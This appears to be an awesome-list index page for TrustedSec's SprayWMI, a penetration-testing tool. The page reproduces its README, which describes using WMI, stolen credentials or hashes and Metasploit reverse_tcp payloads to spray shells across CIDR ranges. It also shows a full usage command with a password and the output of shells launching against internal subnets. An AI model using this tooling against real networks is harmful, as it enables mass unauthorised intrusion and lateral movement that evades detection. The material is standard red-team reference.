Ecosyste.ms: Awesome

An open API service indexing awesome lists of open source software.

Awesome Lists | Featured Topics | Projects

https://github.com/trustedsec/spraywmi

SprayWMI is an easy way to get mass shells on systems that support WMI. Much more effective than PSEXEC as it does not leave remnants on a system.
https://github.com/trustedsec/spraywmi

Last synced: about 2 months ago
JSON representation

SprayWMI is an easy way to get mass shells on systems that support WMI. Much more effective than PSEXEC as it does not leave remnants on a system.

Host: GitHub
URL: https://github.com/trustedsec/spraywmi
Owner: trustedsec
Created: 2015-10-14T11:42:06.000Z (almost 9 years ago)
Default Branch: master
Last Pushed: 2015-11-24T15:13:42.000Z (almost 9 years ago)
Last Synced: 2024-07-03T09:20:57.487Z (3 months ago)
Language: Python
Size: 1.72 MB
Stars: 251
Watchers: 25
Forks: 71
Open Issues: 3
Metadata Files:
- Readme: README.md
- Changelog: CHANGELOG

Awesome Lists containing this project

README

SprayWMI is a method for mass spraying Unicorn PowerShell injection to CIDR notations.

Written by: David Kennedy (@HackingDave) @TrustedSec
Special thanks to: Justin Elze and Larry Spohn @TrustedSec

Initial blog post: https://www.trustedsec.com/june-2015/no_psexec_needed/
If you have trouble with this on 64-bit, try:
dpkg --add-architecture i386 && apt-get update && apt-get install libpam0g:i386 && apt-get install libpopt0:i386

Flags and descriptions:

domain Domain you are attacking. If its local, just specify workgroup.

username Username to authenticate on the remote Windows system.

password Password or password hash LM:NTLM to use on the remote Windows system.

CIDR range or file Specify a single IP, CIDR range (10.0.1.1/24) or multiple CIDRs: 10.0.1.1/24,10.0.2.1/24.
You can also specify a file (ex: ips.txt) that contains a single IP addresses on each line.
payload Metasploit payload, example: windows/meterpreter/reverse_tcp

LHOST Reverse shell IP address.

LPORT Reverse shell listening port.

optional: NO Specify no if you do not want to create a listener. This is useful if you already have a listener
established. If you do not specify a value, it will automatically create a listener for you.

Usage: python spraywmi.py

Below is an example of output from spraywmi:

root@stronghold:/home/relik# python spraywmi.py TS kennedy-test complexP255w0rd! 10.0.90.1/24,10.0.0.1/24,10.0.59.1/24,10.0.96.1/24,10.0.1.1/24 windows/meterpreter/reverse_tcp 10.0.47.24 443

[*] Generating shellcode through Unicorn, this could take a few seconds.

[*] Launching the listener in the background.

[*] Waiting for the listener to start first before we continue.

[*] Be patient, Metasploit takes a little bit to start.

[*] Sweeping targets for open TCP port 135 first, then moving through. Be patient.

[*] Launching WMI spray against IP: 10.0.90.1 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.20 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.21 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.22 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.23 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.96.242 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Launching WMI spray against IP: 10.0.1.13 - You should have a shell in the background. Once finished, a shell will spawn.

[*] Spraying is still happening in the background, shells should arrive as they complete.

[*] Interacting with Metasploit.

msf exploit(handler) >